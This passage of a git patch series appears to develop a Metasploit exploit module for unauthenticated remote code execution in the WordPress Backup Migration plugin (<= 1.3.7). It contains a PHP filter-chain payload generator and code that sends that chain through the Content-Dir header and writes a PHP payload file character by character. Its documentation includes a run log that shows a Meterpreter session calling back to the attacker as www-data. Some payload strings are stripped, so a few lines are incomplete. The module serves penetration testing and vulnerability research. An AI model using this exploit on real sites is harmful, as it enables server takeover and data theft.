"convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921", - "3" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE", - "4" => "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE", - "5" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2", - "6" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2", - "7" => "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4", - "8" => "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2", - "9" => "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB", - "A" => "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213", - "a" => "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE", - "B" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000", - "b" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE", - "C" => "convert.iconv.UTF8.CSISO2022KR", - "c" => "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2", - "D" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213", - "d" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5", - "E" => "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT", - "e" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937", - "F" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB", - "f" => "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213", - "g" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8", - "G" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90", - "H" => "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213", - "h" => "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE", - "I" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213", - "i" => "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000", - "J" => "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4", - "j" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16", - "K" => "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE", - "k" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2", - "L" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC", - "l" => "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE", - "M" => "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T", - "m" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949", - "N" => "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4", - "n" => "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61", - "O" => "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775", - "o" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE", - "P" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB", - "p" => "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4", - "q" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2", - "Q" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2", - "R" => "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4", - "r" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101", - "S" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS", - "s" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90", - "T" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103", - "t" => "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS", - "U" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943", - "u" => "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61", - "V" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB", - "v" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2", - "W" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936", - "w" => "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE", - "X" => "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932", - "x" => "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS", - "Y" => "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361", - "y" => "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT", - "Z" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16", - "z" => "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937", - "/" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4", - "+" => "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157", - "=" => "", - } - - chain = command.encode("UTF-8") - chain = Base64.strict_encode64(chain).encode("UTF-8").delete("=") - encoded_chain = chain - filters = "convert.iconv.UTF8.CSISO2022KR|" - filters += "convert.base64-encode|" - filters += "convert.iconv.UTF8.UTF7|" - - encoded_chain.reverse.each_char do |c| - filters += conversions[c] + "|" - filters += "convert.base64-decode|" - filters += "convert.base64-encode|" - filters += "convert.iconv.UTF8.UTF7|" - end - - filters += "convert.base64-decode" - final_payload = "php://filter/#{filters}/resource=php://temp" - final_payload - - end - - def send_payload - - # require 'pry-byebug' - # binding.pry - php_filtered_payload = generate_php_filter_payload(payload.encoded) - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'), - 'method' => 'POST', - 'headers' => { - 'Content-Dir' => php_filtered_payload - } + register_options( + [ + OptString.new('PAYLOAD_FILENAME', [ true, 'The filename for the payload to be used on the target host (%RAND%.php by default)', Rex::Text.rand_text_alpha(4..8).to_s + '.php']), + ] ) - - end - def check return CheckCode::Unknown unless wordpress_and_online? wp_version = wordpress_version print_status("WordPress Version: #{wp_version}") if wp_version - # The plugin's official name seems to be Backup Migration however the package is filename is "backup-backup" + # The plugin's official name seems to be Backup Migration however the package filename is "backup-backup" check_code = check_plugin_version_from_readme('backup-backup', '1.3.8') if check_code.code != 'appears' @@ -166,11 +77,48 @@ def check plugin_version = check_code.details[:version] print_good("Detected Backup Migration Plugin version: #{plugin_version}") - return CheckCode::Appears + CheckCode::Appears + end + + def send_payload(payload) + php_filter_chain_payload = generate_php_filter_payload(payload) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'), + 'method' => 'POST', + 'headers' => { + 'Content-Dir' => php_filter_chain_payload + } + ) + fail_with(Failure::Unreachable, 'Connection failed') if res.nil? + fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 200 response code') unless res.code == 200 + end + + def write_to_payload_file(string_to_write) + string_to_write.each_char do |char| + send_payload(">#{datastore['PAYLOAD_FILENAME']}`;?>") + end + end + + def create_payload_file + send_payload("#{datastore['PAYLOAD_FILENAME']}`;?>") + end + + def trigger_payload_file + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', datastore['PAYLOAD_FILENAME']), + 'method' => 'GET' + ) + print_warning('The application responded to the request to trigger the payload, this is unexpected. Something may have gone wrong.') if res end def exploit - send_payload + create_payload_file + register_file_for_cleanup(datastore['PAYLOAD_FILENAME']) + print_status('Writing the payload to disk, character by character, please wait...') + # Use double quotes in the payload, not single. + write_to_payload_file(payload.encoded.gsub!("'", '"')) + trigger_payload_file end end From eeb74cd5e1c3e0163d3284a5e665493b041d1d41 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Wed, 20 Dec 2023 16:49:45 -0500 Subject: [PATCH 03/10] Updated metadata --- .../exploit/multi/http/wp_backup_migration_php_filter.md | 2 +- .../exploits/multi/http/wp_backup_migration_php_filter.rb | 5 ++--- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md b/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md index 3767a7978796..4cb3fed45039 100644 --- a/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md +++ b/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md @@ -1,7 +1,7 @@ ## Vulnerable Application This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7). The vulnerability is -exploitable through the Content-Dir header which is sent to the /includes/backup-heart.php endpoint. +exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint. The vuln makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend bytes to a string by continuously chaining character encoding conversion. This allows an attacker to prepend diff --git a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb index a7c9956d77b8..d4233d13b539 100644 --- a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb +++ b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb @@ -18,9 +18,8 @@ def initialize(info = {}) info, 'Name' => 'WordPress Backup Migration Plugin PHP Filter Chain RCE', 'Description' => %q{ - Exploit for an unauthenticated remote code execution vulnerability in the WordPress plugin: Backup Migration (<= 1.3.7). - The vulnerability is exploitable through the Content-Dir header which is sent to the - /includes/backup-heart.php endpoint. + This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7). The vulnerability is + exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint. The vuln makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend bytes to a string by continuously chaining character encoding conversions. This allows an attacker to prepend From 43f4705e6013f95a8b53bb70f9843fd36d4929c6 Mon Sep 17 00:00:00 2001 From: jheysel-r7 Date: Tue, 9 Jan 2024 12:37:59 -0500 Subject: [PATCH 04/10] Apply suggestions from code review Co-authored-by: Julien Voisin --- lib/msf/core/exploit/remote/http/php_filter_chain.rb | 5 ++--- .../exploits/multi/http/wp_backup_migration_php_filter.rb | 2 +- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/php_filter_chain.rb b/lib/msf/core/exploit/remote/http/php_filter_chain.rb index 0d3dd45a4abb..dda28d37e990 100644 --- a/lib/msf/core/exploit/remote/http/php_filter_chain.rb +++ b/lib/msf/core/exploit/remote/http/php_filter_chain.rb @@ -88,13 +88,12 @@ def initialize(info = {}) "z" => "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937", "/" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4", "+" => "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157", - "=" => "", + "=" => "", # since `=` is only used as trailing padding, it can safely be ignored. } def generate_php_filter_payload(command) chain = command.encode("UTF-8") - chain = Base64.strict_encode64(chain).encode("UTF-8").delete("=") - encoded_chain = chain + encoded_chain = Base64.strict_encode64(chain).encode("UTF-8").chomp("=") filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" diff --git a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb index d4233d13b539..7892e7fa863d 100644 --- a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb +++ b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb @@ -21,7 +21,7 @@ def initialize(info = {}) This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7). The vulnerability is exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint. - The vuln makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend + The exploit makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend bytes to a string by continuously chaining character encoding conversions. This allows an attacker to prepend a PHP payload to a string which gets evaluated by a require statement, which results in command execution. }, From 5c7061cc0cff22027878e2bc5eb8f47d4c8a7ddd Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Thu, 11 Jan 2024 12:30:04 -0500 Subject: [PATCH 05/10] Remove OS dependant payload --- .../http/wp_backup_migration_php_filter.md | 13 ++++++----- .../http/wp_backup_migration_php_filter.rb | 22 ++++++++++++++----- 2 files changed, 23 insertions(+), 12 deletions(-) diff --git a/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md b/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md index 4cb3fed45039..3427be4952f3 100644 --- a/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md +++ b/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md @@ -59,7 +59,7 @@ plugin. You should now have a vulnerable instance running. 1. Do: `use ` 1. Set the `RHOST`, `USERNAME`, and `PASSWORD` options 1. Run the module -1. Receive a Meterpreter session as the `root` user. +1. Receive a Meterpreter session in the context of the user running the WordPress application. ## Scenarios ### Backup Migration Plugin version: 1.3.7 (Containerized WordPress Version 6.0) @@ -69,7 +69,7 @@ rhosts => 127.0.0.1 msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rport 8000 rport => 8000 msf6 exploit(multi/http/wp_backup_migration_php_filter) > set lhost 192.168.123.1 -lhost => 172.16.199.1 +lhost => 192.168.123.1 msf6 exploit(multi/http/wp_backup_migration_php_filter) > options Module options (exploit/multi/http/wp_backup_migration_php_filter): @@ -112,14 +112,15 @@ msf6 exploit(multi/http/wp_backup_migration_php_filter) > run [+] The target appears to be vulnerable. [*] Writing the payload to disk, character by character, please wait... [*] Sending stage (39927 bytes) to 192.168.123.1 -[+] Deleted ASmZED.php -[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.1:60869) at 2023-12-20 16:36:44 -0500 +[+] Deleted L +[+] Deleted e.php +[*] Meterpreter session 3 opened (192.168.123.1:4444 -> 192.168.123.1:56224) at 2024-01-11 12:17:34 -0500 meterpreter > getuid Server username: www-data meterpreter > sysinfo -Computer : 46e8870a65ae -OS : Linux 46e8870a65ae 6.5.11-linuxkit #1 SMP PREEMPT_DYNAMIC Wed Dec 6 17:14:50 UTC 2023 x86_64 +Computer : 856d06702f34 +OS : Linux 856d06702f34 6.5.11-linuxkit #1 SMP PREEMPT_DYNAMIC Wed Dec 6 17:14:50 UTC 2023 x86_64 Meterpreter : php/linux meterpreter > ``` \ No newline at end of file diff --git a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb index d4233d13b539..3967616466a8 100644 --- a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb +++ b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb @@ -56,7 +56,7 @@ def initialize(info = {}) register_options( [ - OptString.new('PAYLOAD_FILENAME', [ true, 'The filename for the payload to be used on the target host (%RAND%.php by default)', Rex::Text.rand_text_alpha(4..8).to_s + '.php']), + OptString.new('PAYLOAD_FILENAME', [ true, 'The filename for the payload to be used on the target host (%RAND%.php by default)', Rex::Text.rand_text_alpha(1)]), ] ) end @@ -81,7 +81,6 @@ def check def send_payload(payload) php_filter_chain_payload = generate_php_filter_payload(payload) - res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'), 'method' => 'POST', @@ -94,9 +93,22 @@ def send_payload(payload) end def write_to_payload_file(string_to_write) + + # Because the payload is base64 encoded and then each character is translated into it's corresponding php filter chain, + # the payload becomes quite large and we start to hit limitations due to the HTTP header size. + # For example this payload: "", ends up being 7721 characters long. + # The payload size limit on the target I was testing seemed to be around 8000 characters. + # Using the following: (more elegant solution) exceeds the + # size limit which is why I ended up using ", "char" ?> and then after + # copying the single_char_filename to a filename with a .php extension to be executed. + + single_char_filename = Rex::Text.rand_text_alpha(1) string_to_write.each_char do |char| - send_payload(">#{datastore['PAYLOAD_FILENAME']}`;?>") + send_payload("") end + register_file_for_cleanup(single_char_filename) + send_payload("") + register_file_for_cleanup(datastore['PAYLOAD_FILENAME']) end def create_payload_file @@ -112,10 +124,8 @@ def trigger_payload_file end def exploit - create_payload_file - register_file_for_cleanup(datastore['PAYLOAD_FILENAME']) - print_status('Writing the payload to disk, character by character, please wait...') + print_status('Writing the payload to disk, character by character, please wait...') # Use double quotes in the payload, not single. write_to_payload_file(payload.encoded.gsub!("'", '"')) trigger_payload_file From cdc66dd91f09006e61b00843cbb893cae82f6705 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Thu, 11 Jan 2024 12:56:01 -0500 Subject: [PATCH 06/10] Last minute fix --- .../exploit/multi/http/wp_backup_migration_php_filter.md | 4 ++-- modules/exploits/multi/http/wp_backup_migration_php_filter.rb | 4 +--- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md b/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md index 3427be4952f3..efec842d9645 100644 --- a/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md +++ b/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md @@ -76,7 +76,7 @@ Module options (exploit/multi/http/wp_backup_migration_php_filter): Name Current Setting Required Description ---- --------------- -------- ----------- - PAYLOAD_FILENAME ASmZED.php yes The filename for the payload to be used on the target host (%RAND%.php by default) + PAYLOAD_FILENAME ONxu.php yes The filename for the payload to be used on the target host (%RAND%.php by default) Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 8000 yes The target port (TCP) @@ -113,7 +113,7 @@ msf6 exploit(multi/http/wp_backup_migration_php_filter) > run [*] Writing the payload to disk, character by character, please wait... [*] Sending stage (39927 bytes) to 192.168.123.1 [+] Deleted L -[+] Deleted e.php +[+] Deleted ONxu.php [*] Meterpreter session 3 opened (192.168.123.1:4444 -> 192.168.123.1:56224) at 2024-01-11 12:17:34 -0500 meterpreter > getuid diff --git a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb index 7c60ebc4a7e2..e712af8a78f6 100644 --- a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb +++ b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb @@ -56,7 +56,7 @@ def initialize(info = {}) register_options( [ - OptString.new('PAYLOAD_FILENAME', [ true, 'The filename for the payload to be used on the target host (%RAND%.php by default)', Rex::Text.rand_text_alpha(1)]), + OptString.new('PAYLOAD_FILENAME', [ true, 'The filename for the payload to be used on the target host (%RAND%.php by default)', Rex::Text.rand_text_alpha(4) + '.php']), ] ) end @@ -93,7 +93,6 @@ def send_payload(payload) end def write_to_payload_file(string_to_write) - # Because the payload is base64 encoded and then each character is translated into it's corresponding php filter chain, # the payload becomes quite large and we start to hit limitations due to the HTTP header size. # For example this payload: "", ends up being 7721 characters long. @@ -124,7 +123,6 @@ def trigger_payload_file end def exploit - print_status('Writing the payload to disk, character by character, please wait...') # Use double quotes in the payload, not single. write_to_payload_file(payload.encoded.gsub!("'", '"')) From 6d8666e35b96b3c16e63acb57381b5efdcafb0d0 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Thu, 11 Jan 2024 13:13:57 -0500 Subject: [PATCH 07/10] Fixed spacing and removed unused method --- .../exploit/multi/http/wp_backup_migration_php_filter.md | 2 +- modules/exploits/multi/http/wp_backup_migration_php_filter.rb | 4 ---- 2 files changed, 1 insertion(+), 5 deletions(-) diff --git a/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md b/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md index efec842d9645..54bad741450b 100644 --- a/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md +++ b/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md @@ -76,7 +76,7 @@ Module options (exploit/multi/http/wp_backup_migration_php_filter): Name Current Setting Required Description ---- --------------- -------- ----------- - PAYLOAD_FILENAME ONxu.php yes The filename for the payload to be used on the target host (%RAND%.php by default) + PAYLOAD_FILENAME ONxu.php yes The filename for the payload to be used on the target host (%RAND%.php by default) Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 8000 yes The target port (TCP) diff --git a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb index e712af8a78f6..cb6a7756a387 100644 --- a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb +++ b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb @@ -110,10 +110,6 @@ def write_to_payload_file(string_to_write) register_file_for_cleanup(datastore['PAYLOAD_FILENAME']) end - def create_payload_file - send_payload("#{datastore['PAYLOAD_FILENAME']}`;?>") - end - def trigger_payload_file res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', datastore['PAYLOAD_FILENAME']), From 5e25a9970090a83a5a8ddbf0a48576c7a49ae69a Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 12 Jan 2024 13:08:32 -0500 Subject: [PATCH 08/10] Responded to comments --- lib/msf/core/exploit/remote/http/php_filter_chain.rb | 12 ++++++------ .../multi/http/wp_backup_migration_php_filter.rb | 2 +- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/php_filter_chain.rb b/lib/msf/core/exploit/remote/http/php_filter_chain.rb index dda28d37e990..0b453e5845b2 100644 --- a/lib/msf/core/exploit/remote/http/php_filter_chain.rb +++ b/lib/msf/core/exploit/remote/http/php_filter_chain.rb @@ -95,14 +95,14 @@ def generate_php_filter_payload(command) chain = command.encode("UTF-8") encoded_chain = Base64.strict_encode64(chain).encode("UTF-8").chomp("=") filters = "convert.iconv.UTF8.CSISO2022KR|" - filters += "convert.base64-encode|" - filters += "convert.iconv.UTF8.UTF7|" + filters << "convert.base64-encode|" + filters << "convert.iconv.UTF8.UTF7|" encoded_chain.reverse.each_char do |c| - filters += CONVERSIONS[c] + "|" - filters += "convert.base64-decode|" - filters += "convert.base64-encode|" - filters += "convert.iconv.UTF8.UTF7|" + filters << CONVERSIONS[c] + "|" + filters << "convert.base64-decode|" + filters << "convert.base64-encode|" + filters << "convert.iconv.UTF8.UTF7|" end filters += "convert.base64-decode" diff --git a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb index cb6a7756a387..1956b73f1b8b 100644 --- a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb +++ b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb @@ -121,7 +121,7 @@ def trigger_payload_file def exploit print_status('Writing the payload to disk, character by character, please wait...') # Use double quotes in the payload, not single. - write_to_payload_file(payload.encoded.gsub!("'", '"')) + write_to_payload_file(" Date: Mon, 15 Jan 2024 12:09:41 -0500 Subject: [PATCH 09/10] Changed payload double quote to single --- modules/exploits/multi/http/wp_backup_migration_php_filter.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb index 1956b73f1b8b..68525919c353 100644 --- a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb +++ b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb @@ -103,7 +103,7 @@ def write_to_payload_file(string_to_write) single_char_filename = Rex::Text.rand_text_alpha(1) string_to_write.each_char do |char| - send_payload("") + send_payload("") end register_file_for_cleanup(single_char_filename) send_payload("") From 607a2789d00e3c981e79d65b4d5014039df55020 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 16 Jan 2024 14:49:22 -0500 Subject: [PATCH 10/10] Revert "Changed payload double quote to single" This reverts commit f1586f08c3bf9d4e075aa99b3af8017f376605dc. --- modules/exploits/multi/http/wp_backup_migration_php_filter.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb index 68525919c353..1956b73f1b8b 100644 --- a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb +++ b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb @@ -103,7 +103,7 @@ def write_to_payload_file(string_to_write) single_char_filename = Rex::Text.rand_text_alpha(1) string_to_write.each_char do |char| - send_payload("") + send_payload("") end register_file_for_cleanup(single_char_filename) send_payload("")